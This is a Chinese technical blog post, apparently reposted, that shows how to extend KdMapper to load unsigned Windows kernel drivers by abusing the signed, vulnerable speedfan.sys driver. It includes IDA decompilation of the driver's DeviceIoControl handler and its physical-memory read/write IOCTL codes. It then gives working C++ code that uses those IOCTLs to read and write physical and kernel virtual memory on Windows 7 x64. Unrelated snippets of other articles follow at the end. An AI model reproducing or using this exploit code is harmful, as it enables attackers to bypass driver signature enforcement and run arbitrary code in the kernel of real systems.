KdMapper扩展实现之SOKNO S.R.L(speedfan.sys)

news2024/9/22 19:37:39

1.背景

  KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。

2.驱动信息

驱动名称speedfan.sys 
时间戳50DF59B7
MD50FFE35F0B0CD5A324BBE22F02569AE3B
文件版本2.3.11.0
设备名称        \\.\SpeedFan
读物理内存0x9C402428
写物理内存0x9C40242C
Windows 7支持
Windows 10不支持
Windows 11不支持

3.IDA分析

3.1 入口函数:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        unsigned __int64 v2; // rax
 
        v2 = BugCheckParameter2;
        if (!BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232i64)
        {
                v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFi64;
                if (!v2)
                        v2 = 0x2B992DDFA232i64;
                BugCheckParameter2 = v2;
        }
        BugCheckParameter3 = ~v2;
        return CreateDevice(DriverObject, RegistryPath);
}

3.2 创建设备和符号链接

NTSTATUS __fastcall CreateDevice(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
        NTSTATUS result; // eax
        _UNICODE_STRING* v5; // rdi
        size_t v6; // rax
        __int64 v7; // r8
        NTSTATUS v8; // eax
        NTSTATUS v9; // edi
        __int64 v10; // [rsp+20h] [rbp-38h]
        struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-18h] BYREF
        PDEVICE_OBJECT DeviceObject; // [rsp+68h] [rbp+10h] BYREF
 
        RtlInitUnicodeString(&DestinationString, aDeviceSpeedfan);
        result = IoCreateDevice(DriverObject, RegistryPath->Length + 114, &DestinationString, 0x9C40u, 0, 0, &DeviceObject);
        if (result >= 0)
        {
                DeviceObject->Flags |= 4u;
                v5 = (_UNICODE_STRING*)DeviceObject->DeviceExtension;
                *(_DWORD*)&v5[2].Length = 0;
                *(_DWORD*)(&v5[2].MaximumLength + 1) = 0;
                LODWORD(v5[2].Buffer) = 0;
                v5[1].MaximumLength = RegistryPath->MaximumLength;
                v6 = RegistryPath->Length;
                v5[1].Buffer = &v5[7].Length;
                v5[1].Length = v6;
                memmove(&v5[7], RegistryPath->Buffer, v6);
                sub_175B4(v5);
                if ((int)sub_176C8(v5) >= 0)
                {
                        v7 = *(unsigned int*)&v5[2].Length;
                        if (_bittest((const int*)&v7, 0x1Du))
                        {
                                LODWORD(v10) = v5[2].Buffer;
                                DbgPrint(
                                        "SpeedFan %s  Built Dec 29 2012 21:59:34  Debug %08X  Break %08X  Setup %08X\n",
                                        aX20311,
                                        v7,
                                        *(unsigned int*)(&v5[2].MaximumLength + 1),
                                        v10);
                        }
                }
                v8 = IoCreateSymbolicLink(v5, &DestinationString);
                v9 = v8;
                if (v8 >= 0 || v8 == 0xC0000035)
                {
                        DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_17008;
                        DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_11008;
                        DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_114C8;
                        DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)DeviceIoControl;
                        result = 0;
                }
                else
                {
                        IoDeleteDevice(DeviceObject);
                        result = v9;
                }
        }
        return result;
}

3.3 DeviceIoControl

__int64 __fastcall DeviceIoControl(PDEVICE_OBJECT pDeviceObject, IRP* pIrp)
{
        _IO_STACK_LOCATION* pIosp; // rax
        int ntStatus; // ebx
        PHYSICAL_ADDRESS* pMemoryInfo; // rdi
        unsigned int nInputBufferLength; // er12
        SIZE_T nOutputBufferLength; // r13
        unsigned int nIoControlCode; // esi
   
        LONGLONG PhysicalAddressV31; // rbx
        PVOID pMappedIoSpaceV32; // rax
        void* pMappedIoSpaceV33; // r14
        LONGLONG PhysicalAddressV34; // rbx
        PVOID pMappedIoSpaceV35; // rax
        void* pMappedIoSpaceV36; // r14
 
        void* Dst; // [rsp+20h] [rbp-D8h]
 
        LONGLONG PhysicalAddressV52; // [rsp+70h] [rbp-88h]
        LONGLONG PhysicalAddressV53; // [rsp+70h] [rbp-88h]
 
        void* PhysicalAddress; // [rsp+100h] [rbp+8h]
        IRP* Irp; // [rsp+108h] [rbp+10h]
 
        Irp = pIrp;
        pIosp = pIrp->Tail.Overlay.CurrentStackLocation;
 
        pIrp->IoStatus.Information = 0i64;
        ntStatus = 0xC0000023;
        pMemoryInfo = (PHYSICAL_ADDRESS*)pIrp->AssociatedIrp.SystemBuffer;
 
        nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
        nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;
        nIoControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
        ......
                switch (nIoControlCode)
                {
                case 0x9C402428:
                        if (nInputBufferLength >= 8 && (_DWORD)nOutputBufferLength)// 读物理内存
                        {
                                PhysicalAddressV34 = pMemoryInfo->QuadPart;
                                PhysicalAddressV53 = pMemoryInfo->QuadPart;
                                pMappedIoSpaceV35 = MmMapIoSpace(*pMemoryInfo, nOutputBufferLength, MmNonCached);
                                pMappedIoSpaceV36 = pMappedIoSpaceV35;
                                *(_QWORD*)MajorVersion = pMappedIoSpaceV35;
                                if (pMappedIoSpaceV35)
                                {
                                        if (_bittest(v55, 0xEu))
                                        {
                                                LODWORD(v47) = nOutputBufferLength;
                                                DbgPrint(
                                                        "IOCTL_PHYMEM_READ       ofo %p  pad %08X_%08X  vad %p  siz %06X\n",
                                                        v51,
                                                        HIDWORD(PhysicalAddressV53),
                                                        (unsigned int)PhysicalAddressV34,
                                                        pMappedIoSpaceV35,
                                                        v47);
                                        }
                                        memmove(pMemoryInfo, pMappedIoSpaceV36, nOutputBufferLength);
                                        Irp->IoStatus.Information = nOutputBufferLength;
                                        ntStatus = 0;
                                        v59 = 0;
                                        MmUnmapIoSpace(pMappedIoSpaceV36, (unsigned int)nOutputBufferLength);
                                }
                                else
                                {
                                        ntStatus = 0xC0000088;
                                }
                        }
                        goto LABEL_145;
                case 0x9C40242C:
                        if (nInputBufferLength > 8)         // 写物理内存
                        {
                                PhysicalAddressV31 = pMemoryInfo->QuadPart;
                                PhysicalAddressV52 = pMemoryInfo->QuadPart;
                                nInputBufferLength -= 8;
                                pMappedIoSpaceV32 = MmMapIoSpace(*pMemoryInfo, nInputBufferLength, MmNonCached);
                                pMappedIoSpaceV33 = pMappedIoSpaceV32;
                                *(_QWORD*)MajorVersion = pMappedIoSpaceV32;
                                if (pMappedIoSpaceV32)
                                {
                                        if (_bittest(v55, 0xEu))
                                        {
                                                LODWORD(v47) = nInputBufferLength;
                                                DbgPrint(
                                                        "IOCTL_PHYMEM_WRITE      ofo %p  pad %08X_%08X  vad %p  siz %06X\n",
                                                        v51,
                                                        HIDWORD(PhysicalAddressV52),
                                                        (unsigned int)PhysicalAddressV31,
                                                        pMappedIoSpaceV32,
                                                        v47);
                                        }
                                        memmove(pMappedIoSpaceV33, &pMemoryInfo[1], nInputBufferLength);
                                        Irp->IoStatus.Information = 0i64;
                                        ntStatus = 0;
                                        v59 = 0;
                                        MmUnmapIoSpace(pMappedIoSpaceV33, nInputBufferLength);
                                }
                                else
                                {
                                        ntStatus = 0xC0000088;
                                }
                        }
                        goto LABEL_145;

                LABEL_145:
                        if (ntStatus >= 0)
                                goto LABEL_149;
                        v5 = v51;
                        goto LABEL_147;
                }
 
        ......
 
LABEL_149:
        Irp->IoStatus.Status = ntStatus;
        IofCompleteRequest(Irp, 0);
        return (unsigned int)ntStatus;
}

        其中 0x9C402428 为读取物理内存, 0x9C40242C 为写入物理内存。

3.4 使用注意事项

  实现使用的是MmMapIoSpace将物理内存映射到进程空间或者之后再读写。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。

4. 代码实现

4.1 .h文件

#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset)  ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset))  ))
#endif
 
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer)  ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base))  ))
#endif
 
#define SPEEDFAN_DEVICE_TYPE          (DWORD)0x9C40
#define SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID   (DWORD)0x90A
#define SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID (DWORD)0x90B
 
#define IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY      \
    CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_READ_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428
#define IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY    \
    CTL_CODE(SPEEDFAN_DEVICE_TYPE, SPEEDFAN_WRITE_PHYSICAL_MEMORY_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C40242C

4.2 .c文件

NTSTATUS sokno_driver::SuperCallDriverEx(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength,
        _Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
        IO_STATUS_BLOCK ioStatus;
 
        NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
                NULL,
                NULL,
                NULL,
                &ioStatus,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength);
 
        if (ntStatus == STATUS_PENDING) {
 
                ntStatus = NtWaitForSingleObject(DeviceHandle,
                        FALSE,
                        NULL);
        }
 
        if (IoStatus)
                *IoStatus = ioStatus;
 
        return ntStatus;
}
 
BOOL sokno_driver::SuperCallDriver(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG IoControlCode,
        _In_ PVOID InputBuffer,
        _In_ ULONG InputBufferLength,
        _In_opt_ PVOID OutputBuffer,
        _In_opt_ ULONG OutputBufferLength)
{
        BOOL bResult;
        IO_STATUS_BLOCK ioStatus;
 
        NTSTATUS ntStatus = SuperCallDriverEx(
                DeviceHandle,
                IoControlCode,
                InputBuffer,
                InputBufferLength,
                OutputBuffer,
                OutputBufferLength,
                &ioStatus);
 
        bResult = NT_SUCCESS(ntStatus);
        SetLastError(RtlNtStatusToDosError(ntStatus));
        return bResult;
}
 
BOOL WINAPI sokno_driver::SuperReadWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes,
        _In_ BOOLEAN DoWrite)
{
        BOOL bResult = FALSE;
        DWORD dwError = ERROR_SUCCESS;
 
        __try {
 
                if (DoWrite) 
                {
                        PPHYSICAL_ADDRESS pWriteInfo = (PPHYSICAL_ADDRESS)malloc(sizeof(PHYSICAL_ADDRESS) + NumberOfBytes);
                        if (pWriteInfo)
                        {
                                pWriteInfo->QuadPart = PhysicalAddress;
                                RtlCopyMemory(&pWriteInfo[1], Buffer, NumberOfBytes);
                                bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_WRITE_PHYSICAL_MEMORY, pWriteInfo, sizeof(PHYSICAL_ADDRESS) + NumberOfBytes, NULL, NULL);
                                if (!bResult)
                                {
                                        Log(L"SuperReadWritePhysicalMemory Write Memory SuperCallDriver failed\r\n");
                                }
                        }
                        else
                        {
                                Log(L"SuperReadWritePhysicalMemory Write Memory malloc failed\r\n");
                        }
                }
                else {
                        PHYSICAL_ADDRESS address;
                        address.QuadPart = PhysicalAddress;
                        bResult = SuperCallDriver(DeviceHandle, IOCTL_SPEEDFAN_READ_PHYSICAL_MEMORY, &address, sizeof(address), Buffer, NumberOfBytes);
                        if (!bResult)
                        {
                                Log(L"SuperReadWritePhysicalMemory Read Memory SuperCallDriver failed\r\n");
                        }
                }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
                bResult = FALSE;
                dwError = GetExceptionCode();
                Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
        }
 
 
        SetLastError(dwError);
        return bResult;
}
 
BOOL WINAPI sokno_driver::SuperReadPhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_ PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                FALSE);
}
 
BOOL WINAPI sokno_driver::SuperWritePhysicalMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR PhysicalAddress,
        _In_reads_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        return SuperReadWritePhysicalMemory(DeviceHandle,
                PhysicalAddress,
                Buffer,
                NumberOfBytes,
                TRUE);
}
 
BOOL WINAPI sokno_driver::SuperWriteKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;
 
        SetLastError(ERROR_SUCCESS);
 
        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);
 
        if (bResult) {
 
                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        TRUE);
 
        }
 
        return bResult;
}
 
BOOL WINAPI sokno_driver::SuperReadKernelVirtualMemory(
        _In_ HANDLE DeviceHandle,
        _In_ ULONG_PTR Address,
        _Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
        _In_ ULONG NumberOfBytes)
{
        BOOL bResult;
        ULONG_PTR physicalAddress = 0;
 
        SetLastError(ERROR_SUCCESS);
 
        bResult = SuperVirtualToPhysical(DeviceHandle,
                Address,
                &physicalAddress);
 
        if (bResult) {
 
                bResult = SuperReadWritePhysicalMemory(DeviceHandle,
                        physicalAddress,
                        Buffer,
                        NumberOfBytes,
                        FALSE);
 
        }
 
        return bResult;
}

  其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。

  同时由于使用了MmMapIoSpace,故其只能在Win7上运行,详见《KdMapper扩展实现之虚拟地址转物理地址 》。

5. 运行效果

  Windows 7 x64 环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。

6.特别提示

  使用 speedfan.sys 制作的KdMapper只能在Win 7 x64环境上运行,Win10以上环境由于使用了MmMapIoSpace会导致蓝屏。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1080169.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

JavaScript算法43- 分类求和并作差(leetCode:100103easy)周赛

2894. 分类求和并作差 一、题目 给你两个正整数 n 和 m 。 现定义两个整数 num1 和 num2 &#xff0c;如下所示&#xff1a; num1&#xff1a;范围 [1, n] 内所有 无法被 m 整除 的整数之和。num2&#xff1a;范围 [1, n] 内所有 能够被 m 整除 的整数之和。 返回整数 num1…

Spring Cloud 微服务系列文章合集,一次性看个够!

微服务架构图 为了方便大家可以直接下载编辑&#xff0c;这里用的ProcessOn画的架构图&#xff0c;可以直接克隆一个出来进行编辑&#xff0c;地址&#xff1a;https://www.processon.com/view/6523a1b37fde9c4bb35c7278 微服务系列文章合集&#xff0c;点击阅读 Spring Cl…

CAD(计算机辅助设计)软件的开发框架

CAD&#xff08;计算机辅助设计&#xff09;软件的开发通常使用特定的CAD开发框架和工具。这些框架提供了一组API&#xff08;应用程序编程接口&#xff09;和开发工具&#xff0c;使开发人员能够创建自定义插件、应用程序和功能。以下是一些常见的CAD开发框架和平台&#xff0…

linux系统配置Samba实现与Windows系统的文件共享

1.linux系统下载安装Samba sudo apt install samba 2.在linux文件系统中创建一个共享目录(通常在用户目录下面创建一个名为share的目录) mkdir share 3.修改samba配置文件 sudo vim /etc/samba/smb.conf 添加配置信息(path share路径,需要修改) ,保存修改 [Share]comm…

MySQL-3(9000字详解)

一&#xff1a;索引 索引是一种特殊的文件&#xff0c;包含着对数据表里所有记录的引用指针。可以对表中的一列或多列创建索引&#xff0c;并指定索引的类型&#xff0c;各类索引有各自的数据结构实现。 1.1索引的意义 索引的意义&#xff1a;加快查找速度&#xff0c;但需要…

什么是嵌入式Linux?

什么是嵌入式Linux&#xff1f; 对于很多电气、电信、通信专业的同学来说&#xff0c;对口专业就业方向主要有软、硬件两个方向。无论是对于学生还是就业而言&#xff0c;软硬件的开发学习&#xff0c;嵌入式物联网在近年来无疑是一个摆在面前的“香饽饽”。 近年来国家社会愈…

百花齐放:解锁大型语言模型的潜力 | 开源专题 No.32

这一系列开源项目共同特点在于它们提供多模型支持、具备可定制性、开源可自由修改、并且提供多功能性&#xff0c;为用户提供了灵活、强大的AI聊天和模型访问工具&#xff0c;为AI交互和实验提供了广泛的选择和创新机会。 jtsang4/claude-to-chatgpt Stars: 2.3k License: MI…

JavaScript和Java的区别是什么?

目录 一、不同的公司开发的不同产品。 二、使用的方向不同 三、对象不同 四、HTML文档中采用的标识不同 五、语言类型不同 六、在浏览器中所执行的方式不同 七、代码格式不同 八、所采取的变量是不同 九、联编方式不一样 十、对图文操作方式不一样 很多初学者看到Jav…

echarts折线图设置背景颜色

initChartsBox() {this.option {tooltip: {trigger: "axis",axisPointer: {// 方法一type: "shadow", // 默认为直线&#xff0c;可选为&#xff1a;line | shadowshadowStyle: {color: "rgba(41, 95, 204, 0.2)",},},borderColor: "rgba(…

解决Mysql时区问题

程序员的公众号&#xff1a;源1024&#xff0c;获取更多资料&#xff0c;无加密无套路&#xff01; 最近整理了一份大厂面试资料《史上最全大厂面试题》&#xff0c;Springboot、微服务、算法、数据结构、Zookeeper、Mybatis、Dubbo、linux、Kafka、Elasticsearch、数据库等等…

TCP/IP(五)TCP的连接管理(二)三次握手细节

一 ISN序列号探究 本文主要探究三次握手建立TCP连接的细节备注&#xff1a; 某些问题探究的比较深入,当前用不到,暂时通过链接引入进来吃水不忘挖井人&#xff1a; 小林 coding ① 初始序列号 ISN 是如何随机产生的 ISN: 初始化序列号 Initial Sequence Number 接收方和…

数学重构 数学大纲 学习不能停 在这个领域再也没有进步了 卡在哪里了?已经掉队了怎么办?如何一直保持遥遥领先

七大基础学科依次为数学、逻辑学、天文学和 地球科学 、物理学、化学、 生命科学 。一个人能否全部学习的很牛&#xff0c;像chatGPT一样。今天开始来试下。 数学可以从基础开始学起&#xff0c;然后逐渐深入学习更高级的概念和技能。以下是一个建议的数学学习路径&#xff1a…

07-Zookeeper分布式一致性协议ZAB源码剖析

上一篇&#xff1a;06-Zookeeper选举Leader源码剖析 整个Zookeeper就是一个多节点分布式一致性算法的实现&#xff0c;底层采用的实现协议是ZAB。 1. ZAB协议介绍 ZAB 协议全称&#xff1a;Zookeeper Atomic Broadcast&#xff08;Zookeeper 原子广播协议&#xff09;。 Zook…

汉明距离00

题目链接 汉明距离 题目描述 注意点 汉明距离指的是这两个数字对应二进制位不同的位置的数目 解答思路 要找到两个数字对应二进制位不同的位置&#xff0c;首先要用到异或运算符&#xff0c;对x和y进行异或计算后&#xff0c;可以得到二进制位不同位置为1其余位置为0的二进…

docker搭建rocketmq集群

单机搭建 1 拉取rocketMq镜像 docker pull rocketmqinc/rocketmq:4.3.2 2 创建挂在目录 mkdir -p /mydata/rocketmq/data/namesrv/logs /mydata/rocketmq/data/namesrv/store mkdir -p /mydata/rocketmq/data/broker/logs /mydata/rocketmq/data/broker/store mkd…

3D WEB轻量化引擎HOOPS:促进CAD软件的创新与协作

CAD软件一直以来都在现代工程、建筑、制造和设计领域发挥着至关重要的作用。在数字时代&#xff0c;CAD软件的开发者不断追求提高软件性能、增加功能和改善用户体验&#xff0c;在这一努力中&#xff0c;HOOPS技术&#xff08;高度优化的面向对象并行软件&#xff09;滑块露头角…

vmware安装ubuntu22.04无法和window主机拷贝文件处理

背景 vmware安装ubuntu系统一般安装了vmware tools就能实现和主机相互拷贝文件&#xff0c;但是ubuntu22.04失败了&#xff0c;原因是新版本呢ubuntu&#xff08;22.04&#xff0c;20.04等&#xff09;默认启用了新版的窗口系统Wayland而非原来的X11&#xff0c;而vmware tool…

AI情绪检测器:准确检测并解读人类情绪

一、前言 情绪分析在数字世界中被广泛应用&#xff0c;用于评估消费者对产品或品牌的情绪。然而&#xff0c;在线下环境中&#xff0c;用户与品牌和产品进行互动的场所&#xff08;如零售店、展示厅&#xff09;仍然面临着自动测量用户反应的挑战。使用人工智能进行面部表情情…

什么是国密证书?

国密证书是指中国自主研发的密码算法和加密技术所生成的数字证书。它是为了保护国家信息安全而开发的一种电子证书标准。 国密证书采用了国际上通用的X.509v3标准&#xff0c;但具有自己独特的密码算法和密钥长度。这些算法和密钥长度在国际上被广泛接受并认可&#xff0c;同时…

【PPT制作】基础篇

文章目录 一、PPT制作必要的基础设置1.1 自动保存1.2 字体嵌入1.3 撤销步数1.4 图像大小和质量 二、必备快捷键三、设计四原则四、总结 ヾ(๑╹◡╹)&#xff89;" 没有坚持的努力&#xff0c;本质上并没有多大意义ヾ(๑╹◡╹)&#xff89;" 一、PPT制作必要的基础…